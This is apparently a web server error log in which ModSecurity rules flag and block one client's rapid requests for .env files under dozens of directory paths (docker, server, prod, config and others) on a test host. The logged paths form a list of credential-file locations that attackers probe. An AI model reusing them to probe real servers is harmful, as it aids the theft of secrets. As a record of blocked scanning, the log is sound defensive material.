[Wed Mar 11 20:56:34.411275 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/app/.env"] [unique_id "abHI8v-pQA8QpEk0_N8YUQAAAAA"]
[Wed Mar 11 20:56:34.411453 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/app/.env"] [unique_id "abHI8v-pQA8QpEk0_N8YUQAAAAA"]
[Wed Mar 11 20:56:34.411609 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/app/.env"] [unique_id "abHI8v-pQA8QpEk0_N8YUQAAAAA"]
[Wed Mar 11 20:56:34.417359 2026] [:error] [pid 2634337] [client 185.177.72.60:51264] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "abHI8g5jPndcvXiI_NwnJAAAAA0"]
[Wed Mar 11 20:56:34.417696 2026] [:error] [pid 2634337] [client 185.177.72.60:51264] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "abHI8g5jPndcvXiI_NwnJAAAAA0"]
[Wed Mar 11 20:56:34.417879 2026] [:error] [pid 2634337] [client 185.177.72.60:51264] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "abHI8g5jPndcvXiI_NwnJAAAAA0"]
[Wed Mar 11 20:56:34.694204 2026] [:error] [pid 2634343] [client 185.177.72.60:51380] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "abHI8kas0R32zSQmEomvOgAAABM"]
[Wed Mar 11 20:56:34.694420 2026] [:error] [pid 2634343] [client 185.177.72.60:51380] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "abHI8kas0R32zSQmEomvOgAAABM"]
[Wed Mar 11 20:56:34.694575 2026] [:error] [pid 2634343] [client 185.177.72.60:51380] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "abHI8kas0R32zSQmEomvOgAAABM"]
[Wed Mar 11 20:56:34.717603 2026] [:error] [pid 2634342] [client 185.177.72.60:51370] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "abHI8t0ogWVDBS0cZUmEnQAAABI"]
[Wed Mar 11 20:56:34.717780 2026] [:error] [pid 2634342] [client 185.177.72.60:51370] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "abHI8t0ogWVDBS0cZUmEnQAAABI"]
[Wed Mar 11 20:56:34.717930 2026] [:error] [pid 2634342] [client 185.177.72.60:51370] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "abHI8t0ogWVDBS0cZUmEnQAAABI"]
[Wed Mar 11 20:56:34.808346 2026] [:error] [pid 2634323] [client 185.177.72.60:51302] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/config/.env"] [unique_id "abHI8qPPzlNIonXxp6eEkgAAAAw"]
[Wed Mar 11 20:56:34.808521 2026] [:error] [pid 2634323] [client 185.177.72.60:51302] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/config/.env"] [unique_id "abHI8qPPzlNIonXxp6eEkgAAAAw"]
[Wed Mar 11 20:56:34.808682 2026] [:error] [pid 2634323] [client 185.177.72.60:51302] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/config/.env"] [unique_id "abHI8qPPzlNIonXxp6eEkgAAAAw"]
[Wed Mar 11 20:56:34.812333 2026] [:error] [pid 2634335] [client 185.177.72.60:51230] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "abHI8oMnPAWHo4A6z1M1ygAAAAk"]
[Wed Mar 11 20:56:34.812527 2026] [:error] [pid 2634335] [client 185.177.72.60:51230] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "abHI8oMnPAWHo4A6z1M1ygAAAAk"]
[Wed Mar 11 20:56:34.812682 2026] [:error] [pid 2634335] [client 185.177.72.60:51230] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "abHI8oMnPAWHo4A6z1M1ygAAAAk"]
[Wed Mar 11 20:56:34.843277 2026] [:error] [pid 2634212] [client 185.177.72.60:51286] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "abHI8mZJKjLICnPMAflztAAAAAM"]
[Wed Mar 11 20:56:34.843551 2026] [:error] [pid 2634212] [client 185.177.72.60:51286] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "abHI8mZJKjLICnPMAflztAAAAAM"]
[Wed Mar 11 20:56:34.843744 2026] [:error] [pid 2634212] [client 185.177.72.60:51286] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "abHI8mZJKjLICnPMAflztAAAAAM"]
[Wed Mar 11 20:56:34.856690 2026] [:error] [pid 2634343] [client 185.177.72.60:51380] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "abHI8kas0R32zSQmEomvOwAAABM"]
[Wed Mar 11 20:56:34.856846 2026] [:error] [pid 2634343] [client 185.177.72.60:51380] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "abHI8kas0R32zSQmEomvOwAAABM"]
[Wed Mar 11 20:56:34.856980 2026] [:error] [pid 2634343] [client 185.177.72.60:51380] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "abHI8kas0R32zSQmEomvOwAAABM"]
[Wed Mar 11 20:56:35.024972 2026] [:error] [pid 2634342] [client 185.177.72.60:51370] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /env/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "abHI890ogWVDBS0cZUmEngAAABI"]
[Wed Mar 11 20:56:35.025146 2026] [:error] [pid 2634342] [client 185.177.72.60:51370] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "abHI890ogWVDBS0cZUmEngAAABI"]
[Wed Mar 11 20:56:35.025303 2026] [:error] [pid 2634342] [client 185.177.72.60:51370] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "abHI890ogWVDBS0cZUmEngAAABI"]
[Wed Mar 11 20:56:35.098844 2026] [authz_core:error] [pid 2634319] [client 185.177.72.60:51224] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Wed Mar 11 20:56:35.123852 2026] [:error] [pid 2634213] [client 185.177.72.60:51394] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "abHI8yvA7KL3vWbRrBM5fQAAAAY"]
[Wed Mar 11 20:56:35.124021 2026] [:error] [pid 2634213] [client 185.177.72.60:51394] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "abHI8yvA7KL3vWbRrBM5fQAAAAY"]
[Wed Mar 11 20:56:35.124146 2026] [:error] [pid 2634213] [client 185.177.72.60:51394] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "abHI8yvA7KL3vWbRrBM5fQAAAAY"]
[Wed Mar 11 20:56:35.129440 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "abHI8-BvFsx28IYw-q9nEgAAAAg"]
[Wed Mar 11 20:56:35.129637 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "abHI8-BvFsx28IYw-q9nEgAAAAg"]
[Wed Mar 11 20:56:35.129789 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "abHI8-BvFsx28IYw-q9nEgAAAAg"]
[Wed Mar 11 20:56:35.174412 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /conf/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/conf/.env"] [unique_id "abHI81HINoBDNij9jADMCwAAAAE"]
[Wed Mar 11 20:56:35.174547 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/conf/.env"] [unique_id "abHI81HINoBDNij9jADMCwAAAAE"]
[Wed Mar 11 20:56:35.174673 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/conf/.env"] [unique_id "abHI81HINoBDNij9jADMCwAAAAE"]
[Wed Mar 11 20:56:35.201952 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "abHI8-BvFsx28IYw-q9nEwAAAAg"]
[Wed Mar 11 20:56:35.202089 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "abHI8-BvFsx28IYw-q9nEwAAAAg"]
[Wed Mar 11 20:56:35.202212 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "abHI8-BvFsx28IYw-q9nEwAAAAg"]
[Wed Mar 11 20:56:35.239933 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "abHI81HINoBDNij9jADMDAAAAAE"]
